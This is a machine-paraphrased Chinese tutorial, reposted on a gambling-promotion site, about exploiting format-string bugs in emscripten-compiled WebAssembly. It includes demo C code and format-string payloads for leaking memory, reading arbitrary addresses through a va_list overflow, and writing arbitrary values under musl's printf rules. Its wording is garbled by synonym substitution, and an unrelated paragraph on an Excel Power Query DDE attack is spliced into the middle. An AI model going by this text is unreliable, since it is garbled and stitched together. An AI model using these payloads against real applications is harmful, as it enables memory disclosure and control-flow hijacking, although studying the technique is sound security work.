WASM格式化字符串进击尝试 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

WASM格式化字符串进击尝试

申博_安全防护 申博 92次浏览 未收录 0个评论

前置学问

  • wasm不是asm.
  • wasm能够进步一些庞杂盘算的速率,比方一些游戏

  • wasm的内存规划差别与罕见的x86系统,wasm分为线性内存、实行客栈、局部变量等.

  • wasm在挪用函数时,由实行客栈保留函数参数,以printf函数为例,其函数原型为

int printf(const char *restrict fmt, ...);

函数的参数离别为

  • 花样化字符串

  • 花样化字符串参数列表

我们编译以下代码

// emcc test.c -s WASM=1 -o test.js -g3
#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE test()
{
    sprintf("%d%d%d%d", 1, 2, 3, 4);
    return;
}

在chrome中调试,能够看到在挪用printf函数时实行客栈的内容为

stack:
0: 1900
1: 4816

个中的0,1离别为printf的两个参数,1900,4816离别指向参数对应的线性内存地点,拿1900为例,其在线性内存中的值为

1900: 37
1901: 100
1902: 37
1903: 100
1904: 37
1905: 100
1906: 37
1907: 100
1908: 0

%d%d%d%d\x00

部份读

猎取栈上变量的值

当存在花样化字符串破绽时,我们能够直接经由过程%d%d%d%d来泄漏栈上的值

// emcc test.c -s WASM=1 -o test.js -g3
#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE test()
{
    int i[0x2];
    i[0] = 0x41414141;
    i[1] = 0x42424242;

    sprintf("%d%d%d%d");

    return;                                                                                                                   
}

当我们实行到printf时,实行客栈为

stack:
0: 1900
1: 4816

第二个参数4816即为va_list的指针,检察线性内存中的值能够看到我们恰好能够泄漏变量i的值

4816: 0
4817: 0
4818: 0
4819: 0
4820: 0
4821: 0
4822: 0
4823: 0
4824: 65
4825: 65
4826: 65
4827: 65
4828: 66
4829: 66
4830: 66
4831: 66

泄漏被挪用函数中的值

除此之外,由于线性内存地点由低到高增进,所以花样化字符串还能够泄漏出被挪用函数的某些值

// emcc test.c -s WASM=1 -o test.js -g3
#include <emscripten.h>
#include <stdio.h>

void sub()
{
  char password[] = "password";

  return;
}

void EMSCRIPTEN_KEEPALIVE test()
{
  sub();
  printf("%d%d%d%d%d%d");

  return;
}

当挪用sub()时,线性内存规划为

+-----------+
|           |
+-----------+
|           |
+-----------+ <- sub()
| password  |
+-----------+
|           |
+-----------+

由于函数返回后线性内存的值不会消灭,此时再挪用printf的话,线性内存规划为

+-----------+
|           |
+-----------+
|  va_list  |
+-----------+ <- sub()
| password  |
+-----------+
|           |
+-----------+

由于存在花样化字符串破绽,va_list会掩盖到之前挪用sub()时留下的值

恣意读

在fmt中组织地点

与x86下的恣意读险些雷同,借助fmt在线性内存中提早捏造好我们须要的地点,类似以下语句

%d%s[addr]

平常状况下addr须要放在末了,由于线性内存地点从0最先增进,轻易被\x00截断

编译下段代码,编译为html花样轻易检察效果

// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE main()
{
  char fmt[0xf] = "%d%d%d%s\x00\x13\x00\x00";
  printf(fmt);
  puts("");

  return;
}

个中puts()函数用于革新缓冲流

当挪用printf时挪用客栈的参数为

stack:
0: 4884
1: 4880

检察线性内存规划

+-----------+ <- 4864
|   ./th    |
+-----------+
|   is.p    |
+-----------+
|   rogr    |
+-----------+
|   am\x00  |
+-----------+ <- va_list
|   \x00    |
+-----------+
|   %d%d    |
+-----------+
|   %d%s    |
+-----------+
| addr_4864 |
+-----------+

因而从va_list最先,经由过程%d%d%d%s能够读取到addr_4864保留的地点

经由过程溢出组织地点

上边的体式格局已很便利了,为何还须要经由过程溢出来组织呢?

问题在于我们并不能保证在线性内存中fmt老是位于va_list下方

如今我们修正上边的代码

利用Excel power query实现远程DDE执行

Mimecast研究人员发现微软Excel工具的漏洞,利用该漏洞可以远程执行嵌入的恶意payload。 概述 研究人员发现使用Excel中的Power Query可以动态启动远程DDE(Dynamic Data Exchange,动态数据交换)攻击,并控制payload Power Query。 Power Query 是一个Excel插件,也是Power BI的一个组件,可以通过在Excel中通过简化数据发现、访问和合作的操作,从而增强了商业智能自助服务体验。 Mimecast研究人员发现Power Query可以用来发起复杂的、难以检测的攻击活动。攻击者使用Power Query可以将恶意内容嵌入到单独的数据源中,然后当该内容打开时将内容加载到表单中。攻击者可以用恶意代码来释放和执行可以入侵用户机器的恶意软件。 该特征可以让攻击者在传播payload之前对沙箱或受害者机器进行指纹操作。攻击者还有潜在的pre-payload和pre-exploitation,可以传播恶意payload到受害者机器同时使文件绕过沙箱和其他安全解决方案。 下面研究人员提供一个利用Power Query来启动DDE漏洞利用来释放和执行payload的潜在漏洞利

// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE main()
{
  char fmt[0x10] = "%d%d%d%s\x00\x13\x00\x00";
  printf(fmt);
  puts("");

  return;
}

只需将fmt数字改成0x10size,此时我们再检察函数实行客栈

stack:
0: 4880 <- fmt
1: 4896 <- va_list

会发明va_list处于fmt下方,那末此时va_list下方还会有什么呢?答案是什么也没有.

涌现这类状况的缘由在于emscripten的编译机制以及wasm的传参体式格局

我们先讲在x86中会发作什么,以32位为例:

当我们挪用函数printf(fmt);时,编译器会将参数fmt压入栈中,此时栈中规划为

+-----------+ <- low addr
|           |
+-----------+
|  fmt_ptr  |
+-----------+ <- fmt
|   XXXX    |
+-----------+
|   XXXX    |
+-----------+ <- high addr

假如printf只传入了一个参数,那末编译器就会老老实实的举行一次push,反过来关于printf函数来说,它并不知道挪用函数举行了频频push,它只会依据fmt以及挪用商定,不停向下读取参数

然则关于wasm并不是如许,我们在开首就已提到过,wasm在挪用函数时会将参数保留在实行客栈中,假如把一切变长参数都保留在实行客栈中

比方如许

stack:
0: fmt
1: va1
2: va2
3: va3

那末被挪用函数就没法肯定变长参数.

因而关于变长参数,wasm会在实行客栈中保留va_list,其指向线性内存中的一段地区

stack:              +--> +--------+ <- va_list
0: fmt        |    |  XXXX  |
1: va_list +--+    +--------+

被挪用函数就经由过程va_list指向的线性内存来读取变长参数

并不是一切的变量都在线性内存中,类似于int i;这类的变量声明会直接保留在局部变量中,只要须要分派内存的变量才会保留在线性内存中,比方char s[0x10],这些变量在线性内存中的规划与他们的声明递次有关,一般来说,先声明的变量位于线性内存的高地点处,后声明的变量位于线性内存的低地点处,比方若一段代码

char arr1[0x10];
char arr2[0x20];
char arr3[0x30];

那末它的内存规划为

+-----------+ <- low addr
|           |
+-----------+
|   arr1    |
+-----------+
|   arr2    |
+-----------+
|   arr3    |
+-----------+ <- high addr

这是平常状况

在须要的内存小于0x10时,多是出于优化的目标,会被一致放到线性内存的高地点处,直接拿我们开首举的例子

// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE main()
{
  char fmt[0x10] = "%d%d%d%s\x00\x13\x00\x00";
  printf(fmt);
  puts("");

  return;
}

此时fmt大于0x10,而va_list作为一个隐式的变量,其小于0x10,因而会被放入高地点处,在这类状况下,我们是没有办法经由过程在fmt中组织地点来泄漏内存,固然,我们依然能够经由过程挪用一个函数来到达这个目标,比方说

// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>

void sub()
{
  char target[] = "\x00\x13\x00\x00";
}

void EMSCRIPTEN_KEEPALIVE main()
{
  char fmt[0x10] = "%d%d%d%d%s";
  sub();
  printf(fmt);
  puts("");

  return;
}

另一种方法就是经由过程溢出,当存在溢出时,我们能够将须要的值溢出到va_list

#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE main()
{
  char fmt[0x10] = "%sAABBBBCCCCDDDD";

  // overflow two bytes
  fmt[0x10] = '\x00';
  fmt[0x11] = '\x13';

  printf(fmt);
  puts("");

  return;
}

由于此时va_list位于高地点处,只须要溢出很少的字节就能够做到恣意地点读

恣意写

恣意写和恣意读很类似,加上wasm一般能够经由过程函数索引来到达控制程序流的目标,花样化字符串的恣意写很有用

一般为了完成恣意写我们会组织为

%[value]d%k$n[addr]

比方

// emcc test.c -s WASM=1 -o test.html -g3
#include <emscripten.h>
#include <stdio.h>                                                                                                            

int flag;

void getflag()
{
  if(flag == 1)
  {
    printf("YouGotIt!");
  }
  return;
}

void EMSCRIPTEN_KEEPALIVE main()
{
  flag = 3;
  char fmt[0xf] = "%01d%4$n\xd0\x0b\x00\x00";

  printf(fmt);
  getflag();

  return;
}

个中flag地点为0xbd0,一般来说,我们打印了一个字符,这时候对va_list的第四个参数即flag的地点赋值时会为1

然则效果getflag()函数并不会准确输出,再debug一下会发明挪用printf函数后会报错

stack:
0: -1

这是由于emscripten编译器并未运用glibc,而是采纳的musl的libc,其源码能够在emscripten项面前目今检察,printf的中心在printf_core

// emscripten-incoming/system/lib/libc/musl/src/stdio/vfprintf.c 693
for (i=1; i<=NL_ARGMAX && nl_type[i]; i++)
        pop_arg(nl_arg+i, nl_type[i], ap, pop_arg_long_double);
    for (; i<=NL_ARGMAX && !nl_type[i]; i++);
    if (i<=NL_ARGMAX) return -1;

花样化字符串%k$n中的k会按从小到大的递次顺次打印出来直到满足前提i<=NL_ARGMAX && nl_type[i];,然后搜检是不是存在不按递次的k,即i<=NL_ARGMAX && !nl_type[i];

总结一下musl下printf函数的几个特性

  • 存在%(k+1)\$n则必需存在%(k)$n
  • (k)与(k+1)之间没有先后递次
  • 最多有NL_ARGMAX个花样化字符串标志
  • 须要在%d之前运用%k$d(忘了写解释,这段的源码遗忘在那里了,printf在输出%d后会返回)

所以musl中的printf大抵相当于glibc中__printf_chk的弟弟版,因而为了完成恣意写,我们能够须要写一个奇形怪状的花样化字符串

#include <emscripten.h>
#include <stdio.h>
#include <string.h>

int flag;

void getflag()
{
  if(flag == 1)
  {
    printf("YouGotIt!\n");
  }
  return;
}

void EMSCRIPTEN_KEEPALIVE main()
{
  flag = 3;
  char fmt[0x10];

  memcpy(fmt, "A%2$n%1$xBBBCCCCDDDD\xe0\x0b\x00\x00", 24);
  printf(fmt);
  getflag();

  return;
}


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明WASM格式化字符串进击尝试
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址